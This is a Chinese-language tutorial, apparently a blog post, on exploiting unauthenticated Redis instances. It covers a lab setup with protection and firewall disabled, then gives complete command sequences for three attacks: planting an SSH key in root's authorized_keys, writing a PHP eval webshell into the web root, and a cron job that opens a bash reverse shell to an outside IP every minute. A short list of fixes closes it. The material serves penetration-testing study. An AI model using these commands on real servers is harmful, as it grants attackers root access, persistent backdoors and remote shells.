漏洞简介
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
影响版本:
Redis 2.x,3.x,4.x,5.x
漏洞环境搭建
- 环境搭建
- 安装redis
centos系统:
参考:https://jingyan.baidu.com/article/020278114119b71bcc9ce5bf.html
windows系统:
参考:https://github.com/microsoftarchive/redis/releases
对应的.msi版本下载之后,傻瓜式安装即可;
kaili:
代码语言:javascript复制apt-get install redis-server -y
安装完毕以后,需要更改一些配置
- 修改配置文件
linux系统的redis.conf文件,
windows系统的redis.windows.conf、redis.windows-service.conf文件
修改如下内容:
代码语言:javascript复制#bind 127.0.0.1 //注释这条
protected-mode no //非保护模式
daemonize yes //进程守护,后台运行
服务端(靶机)启动redis-server同时加载配置文件
代码语言:javascript复制redis-server /etc/redis.conf
redis-cli //测试连接本地
exit //测试完毕后退出
如下显示已经安装成功。
Redis常用命令:
代码语言:javascript复制 set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall 删除所有数据
del key 删除键为key的数据
- 关闭防火墙:
临时关闭:
sudo systemctl stop firewalld
禁止开机启动
systemctl disable firewalld
- redis连接
服务端:
代码语言:javascript复制redis-server /etc/redis.conf
redis客户端:
代码语言:javascript复制redis-cli -h 10.1.8.158
在本机上测试:
测试完以后exit,退出,另一个客户端就可以连接了。
在kaili上测试:
不需校验直接就可以连接redis,存在Redis未授权访问漏洞。
备注:
测试的时候如果出现redis客户端一直连不上的情况,在靶机上执行了以下命令,客户端就可以连接上了。
代码语言:javascript复制iptables -L -nv
iptables -F
只要是linux,任何发型版本都有iptables,firewall和ufw都是调用的iptables,虽然我把firewalld关了,但是还是有iptables策略。
漏洞利用
- 利用姿势1,redis写入ssh公钥,获取操作系统权限
原理:利用了redis数据库的备份功能,当redis以root身份运行,利用Redis的config set命令,只要内容为SSH公钥内容,文件路径满足公钥存放的位置,就可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
在靶机中创建ssh公钥存放目录(一般是/root/.ssh)
代码语言:javascript复制 mkdir /root/.ssh
靶机中开启redis服务
代码语言:javascript复制redis-server /etc/redis.conf
在攻击机中生成ssh公钥和私钥,密码设置为空:
代码语言:javascript复制ssh-keygen –t rsa
进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件
代码语言:javascript复制(echo -e "nn"; cat id_rsa.pub; echo -e "nn") >ceshi.txt
将保存ssh的公钥ceshi.txt写入redis
代码语言:javascript复制cat ceshi.txt | redis-cli -h 10.1.8.158 -x set crack
攻击机连接 靶机Redis
代码语言:javascript复制redis-cli -h 10.1.8.158
使用 CONFIG GET dir 命令得到redis备份的路径,更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字为authorized_keys:
代码语言:javascript复制 config get dir
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
至此成功写入ssh公钥到靶机。
然后在攻击机上使用ssh免密登录靶机:
代码语言:javascript复制ssh -i id_rsa root@10.1.8.158
- 利用姿势2,直接向Web目录中写webshell
原理:
利用了redis数据库的备份功能,在知道了网站路径以后,使用redis的CONFIG set命令,将文件内容为一句话木马,文件路径为网站根目录的wenshell写入目标服务器。
前提条件:
redis可以连接,且知道web目录路径。
示例 在redis客户端,连接redis服务器后,输入命令:
代码语言:javascript复制set x "nnn<?php @eval($_POST['redis']);?>nnn"
config set dir /www/admin/localhost_80/wwwroot //根据具体的网站路径来写,我是用phpstudy搭的,所以写这个了
config set dbfilename shell.php
save
//其中nnn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
将dir设置路径为网站根目录,dbfilename设置文件名为shell.php,再执行save或bgsave,于是就将一句话写到网站根目录下了。
使用菜刀,连接http://10.1.8.158/shell.php,密码为redis,连接成功:
- 利用姿势3,linux计划任务执行命令反弹shell:
原理:
首先同样利用了redis数据库的备份功能,在我们不知道网站绝对路径的时候,可以利用linux的定时任务特性:Linux会监测/etc/crontab的内容,当我们将反弹shell的命令使用redis备份到/etc/crontab中,就可以获得反弹shell。
cron介绍
我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。
代码语言:javascript复制/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
其他crontab知识可以参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html
注意: 在不同系统中,root的位置是不一样的 在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。
示例:
VPS开nc监听需要反弹shell的端口:
客户端连接上Redis服务端以后,执行:
代码语言:javascript复制set xxx "nn* * * * * bash -i>& /dev/tcp/104.168.147.13/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的n同样是为了换行,避免crontab的语法错误。
反弹shell命令成功写入了靶机的/var/spool/cron/root中:
检查定时任务是否执行:
代码语言:javascript复制tail -10000f /var/log/cron | grep 'bash' //后面是加关键字
VPS成功获得反弹shell:
修复建议
1、禁止外部访问Redis服务端口
2、禁止使用root权限启动redis服务
3、配置安全组,限制可连接Redis服务器的IP
END